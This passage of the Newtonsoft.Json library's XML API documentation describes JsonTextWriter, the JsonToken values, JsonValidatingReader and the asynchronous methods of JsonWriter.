cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteChar\">\n            <summary>\n            Gets or sets which character to use to quote attribute values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\">\n            <summary>\n            Gets or sets which character to use for indenting when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteName\">\n            <summary>\n            Gets or sets a value indicating whether object names will be surrounded with quotes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.#ctor(System.IO.TextWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/> class using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.TextWriter\"/> and also flushes the underlying <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextWriter\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text. \n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonToken\">\n            <summary>\n            Specifies the type of JSON token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.None\">\n            <summary>\n            This is returned by the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> if a read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartObject\">\n            <summary>\n            An object start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartArray\">\n            <summary>\n            An array start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartConstructor\">\n            <summary>\n            A constructor start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.PropertyName\">\n            <summary>\n            An object property name.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Raw\">\n            <summary>\n            Raw JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Integer\">\n            <summary>\n            An integer.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Float\">\n            <summary>\n            A float.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.String\">\n            <summary>\n            A string.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Boolean\">\n            <summary>\n            A boolean.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Null\">\n            <summary>\n            A null token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Undefined\">\n            <summary>\n            An undefined token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndObject\">\n            <summary>\n            An object end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndArray\">\n            <summary>\n            An array end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndConstructor\">\n            <summary>\n            A constructor end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Date\">\n            <summary>\n            A Date.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Bytes\">\n            <summary>\n            Byte data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonValidatingReader\">\n            <summary>\n            <para>\n            Represents a reader that provides <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> validation.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonValidatingReader.ValidationEventHandler\">\n            <summary>\n            Sets an event handler for receiving schema validation errors.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.#ctor(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/> class that\n            validates the content returned from the given <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from while validating.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Schema\">\n            <summary>\n            Gets or sets the schema.\n            </summary>\n            <value>The schema.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Reader\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> used to construct this <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/>.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> specified in the constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the 